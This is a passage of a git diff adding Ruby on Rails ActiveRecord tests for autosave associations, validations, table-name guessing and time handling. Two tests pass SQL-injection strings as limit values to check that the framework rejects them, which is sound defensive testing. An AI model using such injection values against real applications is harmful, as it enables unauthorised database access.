+    assert_queries(1) { @pirate.catchphrase = "Arr"; @pirate.save! }
+  end
+
+  def test_mark_for_destruction_is_ignored_without_autosave_true
+    ship = ShipWithoutNestedAttributes.new(name: "The Black Flag")
+    ship.parts.build.mark_for_destruction
+
+    assert_not ship.valid?
+  end
+end
+
+class TestAutosaveAssociationOnAHasOneThroughAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    organization = Organization.create
+    @member = Member.create
+    MemberDetail.create(organization: organization, member: @member)
+  end
+
+  def test_should_not_has_one_through_model
+    class << @member.organization
+      def save(*args)
+        super
+        raise "Oh noes!"
+      end
+    end
+    assert_nothing_raised { @member.save }
+  end
+end
+
+class TestAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @ship = Ship.create(name: "Nights Dirty Lightning")
+    @pirate = @ship.create_pirate(catchphrase: "Don' botharrr talkin' like one, savvy?")
+  end
+
+  def test_should_still_work_without_an_associated_model
+    @pirate.destroy
+    @ship.reload.name = "The Vile Insanity"
+    @ship.save
+    assert_equal "The Vile Insanity", @ship.reload.name
+  end
+
+  def test_should_automatically_save_the_associated_model
+    @ship.pirate.catchphrase = "Arr"
+    @ship.save
+    assert_equal "Arr", @ship.reload.pirate.catchphrase
+  end
+
+  def test_should_automatically_save_bang_the_associated_model
+    @ship.pirate.catchphrase = "Arr"
+    @ship.save!
+    assert_equal "Arr", @ship.reload.pirate.catchphrase
+  end
+
+  def test_should_automatically_validate_the_associated_model
+    @ship.pirate.catchphrase = ""
+    assert @ship.invalid?
+    assert @ship.errors[:"pirate.catchphrase"].any?
+  end
+
+  def test_should_merge_errors_on_the_associated_model_onto_the_parent_even_if_it_is_not_valid
+    @ship.name = nil
+    @ship.pirate.catchphrase = nil
+    assert @ship.invalid?
+    assert @ship.errors[:name].any?
+    assert @ship.errors[:"pirate.catchphrase"].any?
+  end
+
+  def test_should_still_allow_to_bypass_validations_on_the_associated_model
+    @ship.pirate.catchphrase = ""
+    @ship.name = ""
+    @ship.save(validate: false)
+    # Oracle saves empty string as NULL
+    if current_adapter?(:OracleAdapter)
+      assert_equal [nil, nil], [@ship.reload.name, @ship.pirate.catchphrase]
+    else
+      assert_equal ["", ""], [@ship.reload.name, @ship.pirate.catchphrase]
+    end
+  end
+
+  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+    @ship.pirate.catchphrase = ""
+    assert_raise(ActiveRecord::RecordInvalid) do
+      @ship.save!
+    end
+  end
+
+  def test_should_not_save_and_return_false_if_a_callback_cancelled_saving
+    ship = Ship.new(name: "The Vile Insanity")
+    pirate = ship.build_pirate(catchphrase: "Arr")
+    pirate.cancel_save_from_callback = true
+
+    assert_no_difference "Ship.count" do
+      assert_no_difference "Pirate.count" do
+        assert !ship.save
+      end
+    end
+  end
+
+  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+    before = [@ship.pirate.catchphrase, @ship.name]
+
+    @ship.pirate.catchphrase = "Arr"
+    @ship.name = "The Vile Insanity"
+
+    # Stub the save method of the @ship.pirate instance to raise an exception
+    class << @ship.pirate
+      def save(*args)
+        super
+        raise "Oh noes!"
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@ship.save }
+    assert_equal before, [@ship.pirate.reload.catchphrase, @ship.reload.name]
+  end
+
+  def test_should_not_load_the_associated_model
+    assert_queries(1) { @ship.name = "The Vile Insanity"; @ship.save! }
+  end
+end
+
+module AutosaveAssociationOnACollectionAssociationTests
+  def test_should_automatically_save_the_associated_models
+    new_names = ["Grace OMalley", "Privateers Greed"]
+    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+    @pirate.save
+    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+  end
+
+  def test_should_automatically_save_bang_the_associated_models
+    new_names = ["Grace OMalley", "Privateers Greed"]
+    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+    @pirate.save!
+    assert_equal new_names, @pirate.reload.send(@association_name).map(&:name)
+  end
+
+  def test_should_update_children_when_autosave_is_true_and_parent_is_new_but_child_is_not
+    parrot = Parrot.create!(name: "Polly")
+    parrot.name = "Squawky"
+    pirate = Pirate.new(parrots: [parrot], catchphrase: "Arrrr")
+
+    pirate.save!
+
+    assert_equal "Squawky", parrot.reload.name
+  end
+
+  def test_should_not_update_children_when_parent_creation_with_no_reason
+    parrot = Parrot.create!(name: "Polly")
+    assert_equal 0, parrot.updated_count
+
+    Pirate.create!(parrot_ids: [parrot.id], catchphrase: "Arrrr")
+    assert_equal 0, parrot.reload.updated_count
+  end
+
+  def test_should_automatically_validate_the_associated_models
+    @pirate.send(@association_name).each { |child| child.name = "" }
+
+    assert !@pirate.valid?
+    assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
+    assert @pirate.errors[@association_name].empty?
+  end
+
+  def test_should_not_use_default_invalid_error_on_associated_models
+    @pirate.send(@association_name).build(name: "")
+
+    assert !@pirate.valid?
+    assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
+    assert @pirate.errors[@association_name].empty?
+  end
+
+  def test_should_default_invalid_error_from_i18n
+    I18n.backend.store_translations(:en, activerecord: { errors: { models:
+      { @associated_model_name.to_s.to_sym => { blank: "cannot be blank" } }
+    } })
+
+    @pirate.send(@association_name).build(name: "")
+
+    assert !@pirate.valid?
+    assert_equal ["cannot be blank"], @pirate.errors["#{@association_name}.name"]
+    assert_equal ["#{@association_name.to_s.humanize} name cannot be blank"], @pirate.errors.full_messages
+    assert @pirate.errors[@association_name].empty?
+  ensure
+    I18n.backend = I18n::Backend::Simple.new
+  end
+
+  def test_should_merge_errors_on_the_associated_models_onto_the_parent_even_if_it_is_not_valid
+    @pirate.send(@association_name).each { |child| child.name = "" }
+    @pirate.catchphrase = nil
+
+    assert !@pirate.valid?
+    assert_equal ["can't be blank"], @pirate.errors["#{@association_name}.name"]
+    assert @pirate.errors[:catchphrase].any?
+  end
+
+  def test_should_allow_to_bypass_validations_on_the_associated_models_on_update
+    @pirate.catchphrase = ""
+    @pirate.send(@association_name).each { |child| child.name = "" }
+
+    assert @pirate.save(validate: false)
+    # Oracle saves empty string as NULL
+    if current_adapter?(:OracleAdapter)
+      assert_equal [nil, nil, nil], [
+        @pirate.reload.catchphrase,
+        @pirate.send(@association_name).first.name,
+        @pirate.send(@association_name).last.name
+      ]
+    else
+      assert_equal ["", "", ""], [
+        @pirate.reload.catchphrase,
+        @pirate.send(@association_name).first.name,
+        @pirate.send(@association_name).last.name
+      ]
+    end
+  end
+
+  def test_should_validation_the_associated_models_on_create
+    assert_no_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count") do
+      2.times { @pirate.send(@association_name).build }
+      @pirate.save
+    end
+  end
+
+  def test_should_allow_to_bypass_validations_on_the_associated_models_on_create
+    assert_difference("#{ @association_name == :birds ? 'Bird' : 'Parrot' }.count", 2) do
+      2.times { @pirate.send(@association_name).build }
+      @pirate.save(validate: false)
+    end
+  end
+
+  def test_should_not_save_and_return_false_if_a_callback_cancelled_saving_in_either_create_or_update
+    @pirate.catchphrase = "Changed"
+    @child_1.name = "Changed"
+    @child_1.cancel_save_from_callback = true
+
+    assert !@pirate.save
+    assert_equal "Don' botharrr talkin' like one, savvy?", @pirate.reload.catchphrase
+    assert_equal "Posideons Killer", @child_1.reload.name
+
+    new_pirate = Pirate.new(catchphrase: "Arr")
+    new_child = new_pirate.send(@association_name).build(name: "Grace OMalley")
+    new_child.cancel_save_from_callback = true
+
+    assert_no_difference "Pirate.count" do
+      assert_no_difference "#{new_child.class.name}.count" do
+        assert !new_pirate.save
+      end
+    end
+  end
+
+  def test_should_rollback_any_changes_if_an_exception_occurred_while_saving
+    before = [@pirate.catchphrase, *@pirate.send(@association_name).map(&:name)]
+    new_names = ["Grace OMalley", "Privateers Greed"]
+
+    @pirate.catchphrase = "Arr"
+    @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+
+    # Stub the save method of the first child instance to raise an exception
+    class << @pirate.send(@association_name).first
+      def save(*args)
+        super
+        raise "Oh noes!"
+      end
+    end
+
+    assert_raise(RuntimeError) { assert !@pirate.save }
+    assert_equal before, [@pirate.reload.catchphrase, *@pirate.send(@association_name).map(&:name)]
+  end
+
+  def test_should_still_raise_an_ActiveRecordRecord_Invalid_exception_if_we_want_that
+    @pirate.send(@association_name).each { |child| child.name = "" }
+    assert_raise(ActiveRecord::RecordInvalid) do
+      @pirate.save!
+    end
+  end
+
+  def test_should_not_load_the_associated_models_if_they_were_not_loaded_yet
+    assert_queries(1) { @pirate.catchphrase = "Arr"; @pirate.save! }
+
+    @pirate.send(@association_name).load_target
+
+    assert_queries(3) do
+      @pirate.catchphrase = "Yarr"
+      new_names = ["Grace OMalley", "Privateers Greed"]
+      @pirate.send(@association_name).each_with_index { |child, i| child.name = new_names[i] }
+      @pirate.save!
+    end
+  end
+end
+
+class TestAutosaveAssociationOnAHasManyAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @association_name = :birds
+    @associated_model_name = :bird
+
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.birds.create(name: "Posideons Killer")
+    @child_2 = @pirate.birds.create(name: "Killer bandita Dionne")
+  end
+
+  include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @association_name = :autosaved_parrots
+    @associated_model_name = :parrot
+    @habtm = true
+
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.parrots.create(name: "Posideons Killer")
+    @child_2 = @pirate.parrots.create(name: "Killer bandita Dionne")
+  end
+
+  include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationOnAHasAndBelongsToManyAssociationWithAcceptsNestedAttributes < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @association_name = :parrots
+    @associated_model_name = :parrot
+    @habtm = true
+
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @child_1 = @pirate.parrots.create(name: "Posideons Killer")
+    @child_2 = @pirate.parrots.create(name: "Killer bandita Dionne")
+  end
+
+  include AutosaveAssociationOnACollectionAssociationTests
+end
+
+class TestAutosaveAssociationValidationsOnAHasManyAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @pirate.birds.create(name: "cookoo")
+  end
+
+  test "should automatically validate associations" do
+    assert @pirate.valid?
+    @pirate.birds.each { |bird| bird.name = "" }
+
+    assert !@pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationsOnAHasOneAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+    @pirate.create_ship(name: "titanic")
+    super
+  end
+
+  test "should automatically validate associations with :validate => true" do
+    assert @pirate.valid?
+    @pirate.ship.name = ""
+    assert !@pirate.valid?
+  end
+
+  test "should not automatically add validate associations without :validate => true" do
+    assert @pirate.valid?
+    @pirate.non_validated_ship.name = ""
+    assert @pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationsOnABelongsToAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+  end
+
+  test "should automatically validate associations with :validate => true" do
+    assert @pirate.valid?
+    @pirate.parrot = Parrot.new(name: "")
+    assert !@pirate.valid?
+  end
+
+  test "should not automatically validate associations without :validate => true" do
+    assert @pirate.valid?
+    @pirate.non_validated_parrot = Parrot.new(name: "")
+    assert @pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationsOnAHABTMAssociation < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @pirate = Pirate.create(catchphrase: "Don' botharrr talkin' like one, savvy?")
+  end
+
+  test "should automatically validate associations with :validate => true" do
+    assert @pirate.valid?
+    @pirate.parrots = [ Parrot.new(name: "popuga") ]
+    @pirate.parrots.each { |parrot| parrot.name = "" }
+    assert !@pirate.valid?
+  end
+
+  test "should not automatically validate associations without :validate => true" do
+    assert @pirate.valid?
+    @pirate.non_validated_parrots = [ Parrot.new(name: "popuga") ]
+    @pirate.non_validated_parrots.each { |parrot| parrot.name = "" }
+    assert @pirate.valid?
+  end
+end
+
+class TestAutosaveAssociationValidationMethodsGeneration < ActiveRecord::TestCase
+  self.use_transactional_tests = false unless supports_savepoints?
+
+  def setup
+    super
+    @pirate = Pirate.new
+  end
+
+  test "should generate validation methods for has_many associations" do
+    assert_respond_to @pirate, :validate_associated_records_for_birds
+  end
+
+  test "should generate validation methods for has_one associations with :validate => true" do
+    assert_respond_to @pirate, :validate_associated_records_for_ship
+  end
+
+  test "should not generate validation methods for has_one associations without :validate => true" do
+    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_ship)
+  end
+
+  test "should generate validation methods for belongs_to associations with :validate => true" do
+    assert_respond_to @pirate, :validate_associated_records_for_parrot
+  end
+
+  test "should not generate validation methods for belongs_to associations without :validate => true" do
+    assert !@pirate.respond_to?(:validate_associated_records_for_non_validated_parrot)
+  end
+
+  test "should generate validation methods for HABTM associations with :validate => true" do
+    assert_respond_to @pirate, :validate_associated_records_for_parrots
+  end
+end
+
+class TestAutosaveAssociationWithTouch < ActiveRecord::TestCase
+  def test_autosave_with_touch_should_not_raise_system_stack_error
+    invoice = Invoice.create
+    assert_nothing_raised { invoice.line_items.create(amount: 10) }
+  end
+end
+
+class TestAutosaveAssociationOnAHasManyAssociationWithInverse < ActiveRecord::TestCase
+  class Post < ActiveRecord::Base
+    has_many :comments, inverse_of: :post
+  end
+
+  class Comment < ActiveRecord::Base
+    belongs_to :post, inverse_of: :comments
+
+    attr_accessor :post_comments_count
+    after_save do
+      self.post_comments_count = post.comments.count
+    end
+  end
+
+  def test_after_save_callback_with_autosave
+    post = Post.new(title: "Test", body: "...")
+    comment = post.comments.build(body: "...")
+    post.save!
+
+    assert_equal 1, post.comments.count
+    assert_equal 1, comment.post_comments_count
+  end
+end
diff --git a/activerecord/test/cases/base_test.rb b/activerecord/test/cases/base_test.rb
new file mode 100644
index 0000000000..1d33564989
--- /dev/null
+++ b/activerecord/test/cases/base_test.rb
@@ -0,0 +1,1453 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/post"
+require "models/author"
+require "models/topic"
+require "models/reply"
+require "models/category"
+require "models/categorization"
+require "models/company"
+require "models/customer"
+require "models/developer"
+require "models/computer"
+require "models/project"
+require "models/default"
+require "models/auto_id"
+require "models/boolean"
+require "models/column_name"
+require "models/subscriber"
+require "models/comment"
+require "models/minimalistic"
+require "models/warehouse_thing"
+require "models/parrot"
+require "models/person"
+require "models/edge"
+require "models/joke"
+require "models/bird"
+require "models/car"
+require "models/bulb"
+require "concurrent/atomic/count_down_latch"
+
+class FirstAbstractClass < ActiveRecord::Base
+  self.abstract_class = true
+end
+class SecondAbstractClass < FirstAbstractClass
+  self.abstract_class = true
+end
+class Photo < SecondAbstractClass; end
+class Smarts < ActiveRecord::Base; end
+class CreditCard < ActiveRecord::Base
+  class PinNumber < ActiveRecord::Base
+    class CvvCode < ActiveRecord::Base; end
+    class SubCvvCode < CvvCode; end
+  end
+  class SubPinNumber < PinNumber; end
+  class Brand < Category; end
+end
+class MasterCreditCard < ActiveRecord::Base; end
+class NonExistentTable < ActiveRecord::Base; end
+class TestOracleDefault < ActiveRecord::Base; end
+
+class ReadonlyTitlePost < Post
+  attr_readonly :title
+end
+
+class Weird < ActiveRecord::Base; end
+
+class LintTest < ActiveRecord::TestCase
+  include ActiveModel::Lint::Tests
+
+  class LintModel < ActiveRecord::Base; end
+
+  def setup
+    @model = LintModel.new
+  end
+end
+
+class BasicsTest < ActiveRecord::TestCase
+  fixtures :topics, :companies, :developers, :projects, :computers, :accounts, :minimalistics, "warehouse-things", :authors, :author_addresses, :categorizations, :categories, :posts
+
+  def test_column_names_are_escaped
+    conn      = ActiveRecord::Base.connection
+    classname = conn.class.name[/[^:]*$/]
+    badchar   = {
+      "SQLite3Adapter"    => '"',
+      "Mysql2Adapter"     => "`",
+      "PostgreSQLAdapter" => '"',
+      "OracleAdapter"     => '"',
+      "FbAdapter"         => '"'
+    }.fetch(classname) {
+      raise "need a bad char for #{classname}"
+    }
+
+    quoted = conn.quote_column_name "foo#{badchar}bar"
+    if current_adapter?(:OracleAdapter)
+      # Oracle does not allow double quotes in table and column names at all
+      # therefore quoting removes them
+      assert_equal("#{badchar}foobar#{badchar}", quoted)
+    else
+      assert_equal("#{badchar}foo#{badchar * 2}bar#{badchar}", quoted)
+    end
+  end
+
+  def test_columns_should_obey_set_primary_key
+    pk = Subscriber.columns_hash[Subscriber.primary_key]
+    assert_equal "nick", pk.name, "nick should be primary key"
+  end
+
+  def test_primary_key_with_no_id
+    assert_nil Edge.primary_key
+  end
+
+  def test_primary_key_and_references_columns_should_be_identical_type
+    pk = Author.columns_hash["id"]
+    ref = Post.columns_hash["author_id"]
+
+    assert_equal pk.bigint?, ref.bigint?
+  end
+
+  def test_many_mutations
+    car = Car.new name: "<3<3<3"
+    car.engines_count = 0
+    20_000.times { car.engines_count += 1 }
+    assert car.save
+  end
+
+  def test_limit_without_comma
+    assert_equal 1, Topic.limit("1").to_a.length
+    assert_equal 1, Topic.limit(1).to_a.length
+  end
+
+  def test_limit_should_take_value_from_latest_limit
+    assert_equal 1, Topic.limit(2).limit(1).to_a.length
+  end
+
+  def test_invalid_limit
+    assert_raises(ArgumentError) do
+      Topic.limit("asdfadf").to_a
+    end
+  end
+
+  def test_limit_should_sanitize_sql_injection_for_limit_without_commas
+    assert_raises(ArgumentError) do
+      Topic.limit("1 select * from schema").to_a
+    end
+  end
+
+  def test_limit_should_sanitize_sql_injection_for_limit_with_commas
+    assert_raises(ArgumentError) do
+      Topic.limit("1, 7 procedure help()").to_a
+    end
+  end
+
+  def test_select_symbol
+    topic_ids = Topic.select(:id).map(&:id).sort
+    assert_equal Topic.pluck(:id).sort, topic_ids
+  end
+
+  def test_table_exists
+    assert !NonExistentTable.table_exists?
+    assert Topic.table_exists?
+  end
+
+  def test_preserving_date_objects
+    # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb)
+    assert_kind_of(
+      Date, Topic.find(1).last_read,
+      "The last_read attribute should be of the Date class"
+    )
+  end
+
+  def test_previously_changed
+    topic = Topic.first
+    topic.title = "<3<3<3"
+    assert_equal({}, topic.previous_changes)
+
+    topic.save!
+    expected = ["The First Topic", "<3<3<3"]
+    assert_equal(expected, topic.previous_changes["title"])
+  end
+
+  def test_previously_changed_dup
+    topic = Topic.first
+    topic.title = "<3<3<3"
+    topic.save!
+
+    t2 = topic.dup
+
+    assert_equal(topic.previous_changes, t2.previous_changes)
+
+    topic.title = "lolwut"
+    topic.save!
+
+    assert_not_equal(topic.previous_changes, t2.previous_changes)
+  end
+
+  def test_preserving_time_objects
+    assert_kind_of(
+      Time, Topic.find(1).bonus_time,
+      "The bonus_time attribute should be of the Time class"
+    )
+
+    assert_kind_of(
+      Time, Topic.find(1).written_on,
+      "The written_on attribute should be of the Time class"
+    )
+
+    # For adapters which support microsecond resolution.
+    if subsecond_precision_supported?
+      assert_equal 11, Topic.find(1).written_on.sec
+      assert_equal 223300, Topic.find(1).written_on.usec
+      assert_equal 9900, Topic.find(2).written_on.usec
+      assert_equal 129346, Topic.find(3).written_on.usec
+    end
+  end
+
+  def test_preserving_time_objects_with_local_time_conversion_to_default_timezone_utc
+    with_env_tz eastern_time_zone do
+      with_timezone_config default: :utc do
+        time = Time.local(2000)
+        topic = Topic.create("written_on" => time)
+        saved_time = Topic.find(topic.id).reload.written_on
+        assert_equal time, saved_time
+        assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "EST"], time.to_a
+        assert_equal [0, 0, 5, 1, 1, 2000, 6, 1, false, "UTC"], saved_time.to_a
+      end
+    end
+  end
+
+  def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_utc
+    with_env_tz eastern_time_zone do
+      with_timezone_config default: :utc do
+        Time.use_zone "Central Time (US & Canada)" do
+          time = Time.zone.local(2000)
+          topic = Topic.create("written_on" => time)
+          saved_time = Topic.find(topic.id).reload.written_on
+          assert_equal time, saved_time
+          assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "CST"], time.to_a
+          assert_equal [0, 0, 6, 1, 1, 2000, 6, 1, false, "UTC"], saved_time.to_a
+        end
+      end
+    end
+  end
+
+  def test_preserving_time_objects_with_utc_time_conversion_to_default_timezone_local
+    with_env_tz eastern_time_zone do
+      with_timezone_config default: :local do
+        time = Time.utc(2000)
+        topic = Topic.create("written_on" => time)
+        saved_time = Topic.find(topic.id).reload.written_on
+        assert_equal time, saved_time
+        assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "UTC"], time.to_a
+        assert_equal [0, 0, 19, 31, 12, 1999, 5, 365, false, "EST"], saved_time.to_a
+      end
+    end
+  end
+
+  def test_preserving_time_objects_with_time_with_zone_conversion_to_default_timezone_local
+    with_env_tz eastern_time_zone do
+      with_timezone_config default: :local do
+        Time.use_zone "Central Time (US & Canada)" do
+          time = Time.zone.local(2000)
+          topic = Topic.create("written_on" => time)
+          saved_time = Topic.find(topic.id).reload.written_on
+          assert_equal time, saved_time
+          assert_equal [0, 0, 0, 1, 1, 2000, 6, 1, false, "CST"], time.to_a
+          assert_equal [0, 0, 1, 1, 1, 2000, 6, 1, false, "EST"], saved_time.to_a
+        end
+      end
+    end
+  end
+
+  def eastern_time_zone
+    if Gem.win_platform?
+      "EST5EDT"
+    else
+      "America/New_York"
+    end
+  end
+
+  def test_custom_mutator
+    topic = Topic.find(1)
+    # This mutator is protected in the class definition
+    topic.send(:approved=, true)
+    assert topic.instance_variable_get("@custom_approved")
+  end
+
+  def test_initialize_with_attributes
+    topic = Topic.new(
+      "title" => "initialized from attributes", "written_on" => "2003-12-12 23:23")
+
+    assert_equal("initialized from attributes", topic.title)
+  end
+
+  def test_initialize_with_invalid_attribute
+    Topic.new("title" => "test",
+      "last_read(1i)" => "2005", "last_read(2i)" => "2", "last_read(3i)" => "31")
+  rescue ActiveRecord::MultiparameterAssignmentErrors => ex
+    assert_equal(1, ex.errors.size)
+    assert_equal("last_read", ex.errors[0].attribute)
+  end
+
+  def test_create_after_initialize_without_block
+    cb = CustomBulb.create(name: "Dude")
+    assert_equal("Dude", cb.name)
+    assert_equal(true, cb.frickinawesome)
+  end
+
+  def test_create_after_initialize_with_block
+    cb = CustomBulb.create { |c| c.name = "Dude" }
+    assert_equal("Dude", cb.name)
+    assert_equal(true, cb.frickinawesome)
+  end
+
+  def test_create_after_initialize_with_array_param
+    cbs = CustomBulb.create([{ name: "Dude" }, { name: "Bob" }])
+    assert_equal "Dude", cbs[0].name
+    assert_equal "Bob", cbs[1].name
+    assert cbs[0].frickinawesome
+    assert !cbs[1].frickinawesome
+  end
+
+  def test_load
+    topics = Topic.all.merge!(order: "id").to_a
+    assert_equal(5, topics.size)
+    assert_equal(topics(:first).title, topics.first.title)
+  end
+
+  def test_load_with_condition
+    topics = Topic.all.merge!(where: "author_name = 'Mary'").to_a
+
+    assert_equal(1, topics.size)
+    assert_equal(topics(:second).title, topics.first.title)
+  end
+
+  GUESSED_CLASSES = [Category, Smarts, CreditCard, CreditCard::PinNumber, CreditCard::PinNumber::CvvCode, CreditCard::SubPinNumber, CreditCard::Brand, MasterCreditCard]
+
+  def test_table_name_guesses
+    assert_equal "topics", Topic.table_name
+
+    assert_equal "categories", Category.table_name
+    assert_equal "smarts", Smarts.table_name
+    assert_equal "credit_cards", CreditCard.table_name
+    assert_equal "credit_card_pin_numbers", CreditCard::PinNumber.table_name
+    assert_equal "credit_card_pin_number_cvv_codes", CreditCard::PinNumber::CvvCode.table_name
+    assert_equal "credit_card_pin_numbers", CreditCard::SubPinNumber.table_name
+    assert_equal "categories", CreditCard::Brand.table_name
+    assert_equal "master_credit_cards", MasterCreditCard.table_name
+  ensure
+    GUESSED_CLASSES.each(&:reset_table_name)
+  end
+
+  def test_singular_table_name_guesses
+    ActiveRecord::Base.pluralize_table_names = false
+    GUESSED_CLASSES.each(&:reset_table_name)
+
+    assert_equal "category", Category.table_name
+    assert_equal "smarts", Smarts.table_name
+    assert_equal "credit_card", CreditCard.table_name
+    assert_equal "credit_card_pin_number", CreditCard::PinNumber.table_name
+    assert_equal "credit_card_pin_number_cvv_code", CreditCard::PinNumber::CvvCode.table_name
+    assert_equal "credit_card_pin_number", CreditCard::SubPinNumber.table_name
+    assert_equal "category", CreditCard::Brand.table_name
+    assert_equal "master_credit_card", MasterCreditCard.table_name
+  ensure
+    ActiveRecord::Base.pluralize_table_names = true
+    GUESSED_CLASSES.each(&:reset_table_name)
+  end
+
+  def test_table_name_guesses_with_prefixes_and_suffixes
+    ActiveRecord::Base.table_name_prefix = "test_"
+    Category.reset_table_name
+    assert_equal "test_categories", Category.table_name
+    ActiveRecord::Base.table_name_suffix = "_test"
+    Category.reset_table_name
+    assert_equal "test_categories_test", Category.table_name
+    ActiveRecord::Base.table_name_prefix = ""
+    Category.reset_table_name
+    assert_equal "categories_test", Category.table_name
+    ActiveRecord::Base.table_name_suffix = ""
+    Category.reset_table_name
+    assert_equal "categories", Category.table_name
+  ensure
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+    GUESSED_CLASSES.each(&:reset_table_name)
+  end
+
+  def test_singular_table_name_guesses_with_prefixes_and_suffixes
+    ActiveRecord::Base.pluralize_table_names = false
+
+    ActiveRecord::Base.table_name_prefix = "test_"
+    Category.reset_table_name
+    assert_equal "test_category", Category.table_name
+    ActiveRecord::Base.table_name_suffix = "_test"
+    Category.reset_table_name
+    assert_equal "test_category_test", Category.table_name
+    ActiveRecord::Base.table_name_prefix = ""
+    Category.reset_table_name
+    assert_equal "category_test", Category.table_name
+    ActiveRecord::Base.table_name_suffix = ""
+    Category.reset_table_name
+    assert_equal "category", Category.table_name
+  ensure
+    ActiveRecord::Base.pluralize_table_names = true
+    ActiveRecord::Base.table_name_prefix = ""
+    ActiveRecord::Base.table_name_suffix = ""
+    GUESSED_CLASSES.each(&:reset_table_name)
+  end
+
+  def test_table_name_guesses_with_inherited_prefixes_and_suffixes
+    GUESSED_CLASSES.each(&:reset_table_name)
+
+    CreditCard.table_name_prefix = "test_"
+    CreditCard.reset_table_name
+    Category.reset_table_name
+    assert_equal "test_credit_cards", CreditCard.table_name
+    assert_equal "categories", Category.table_name
+    CreditCard.table_name_suffix = "_test"
+    CreditCard.reset_table_name
+    Category.reset_table_name
+    assert_equal "test_credit_cards_test", CreditCard.table_name
+    assert_equal "categories", Category.table_name
+    CreditCard.table_name_prefix = ""
+    CreditCard.reset_table_name
+    Category.reset_table_name
+    assert_equal "credit_cards_test", CreditCard.table_name
+    assert_equal "categories", Category.table_name
+    CreditCard.table_name_suffix = ""
+    CreditCard.reset_table_name
+    Category.reset_table_name
+    assert_equal "credit_cards", CreditCard.table_name
+    assert_equal "categories", Category.table_name
+  ensure
+    CreditCard.table_name_prefix = ""
+    CreditCard.table_name_suffix = ""
+    GUESSED_CLASSES.each(&:reset_table_name)
+  end
+
+  def test_singular_table_name_guesses_for_individual_table
+    Post.pluralize_table_names = false
+    Post.reset_table_name
+    assert_equal "post", Post.table_name
+    assert_equal "categories", Category.table_name
+  ensure
+    Post.pluralize_table_names = true
+    Post.reset_table_name
+  end
+
+  if current_adapter?(:Mysql2Adapter)
+    def test_update_all_with_order_and_limit
+      assert_equal 1, Topic.limit(1).order("id DESC").update_all(content: "bulk updated!")
+    end
+  end
+
+  def test_null_fields
+    assert_nil Topic.find(1).parent_id
+    assert_nil Topic.create("title" => "Hey you").parent_id
+  end
+
+  def test_default_values
+    topic = Topic.new
+    assert topic.approved?
+    assert_nil topic.written_on
+    assert_nil topic.bonus_time
+    assert_nil topic.last_read
+
+    topic.save
+
+    topic = Topic.find(topic.id)
+    assert topic.approved?
+    assert_nil topic.last_read
+
+    # Oracle has some funky default handling, so it requires a bit of
+    # extra testing. See ticket #2788.
+    if current_adapter?(:OracleAdapter)
+      test = TestOracleDefault.new
+      assert_equal "X", test.test_char
+      assert_equal "hello", test.test_string
+      assert_equal 3, test.test_int
+    end
+  end
+
+  # Oracle does not have a TIME datatype.
+  unless current_adapter?(:OracleAdapter)
+    def test_utc_as_time_zone
+      with_timezone_config default: :utc do
+        attributes = { "bonus_time" => "5:42:00AM" }
+        topic = Topic.find(1)
+        topic.attributes = attributes
+        assert_equal Time.utc(2000, 1, 1, 5, 42, 0), topic.bonus_time
+      end
+    end
+
+    def test_utc_as_time_zone_and_new
+      with_timezone_config default: :utc do
+        attributes = { "bonus_time(1i)" => "2000",
+          "bonus_time(2i)" => "1",
+          "bonus_time(3i)" => "1",
+          "bonus_time(4i)" => "10",
+          "bonus_time(5i)" => "35",
+          "bonus_time(6i)" => "50" }
+        topic = Topic.new(attributes)
+        assert_equal Time.utc(2000, 1, 1, 10, 35, 50), topic.bonus_time
+      end
+    end
+  end
+
+  def test_default_values_on_empty_strings
+    topic = Topic.new
+    topic.approved  = nil
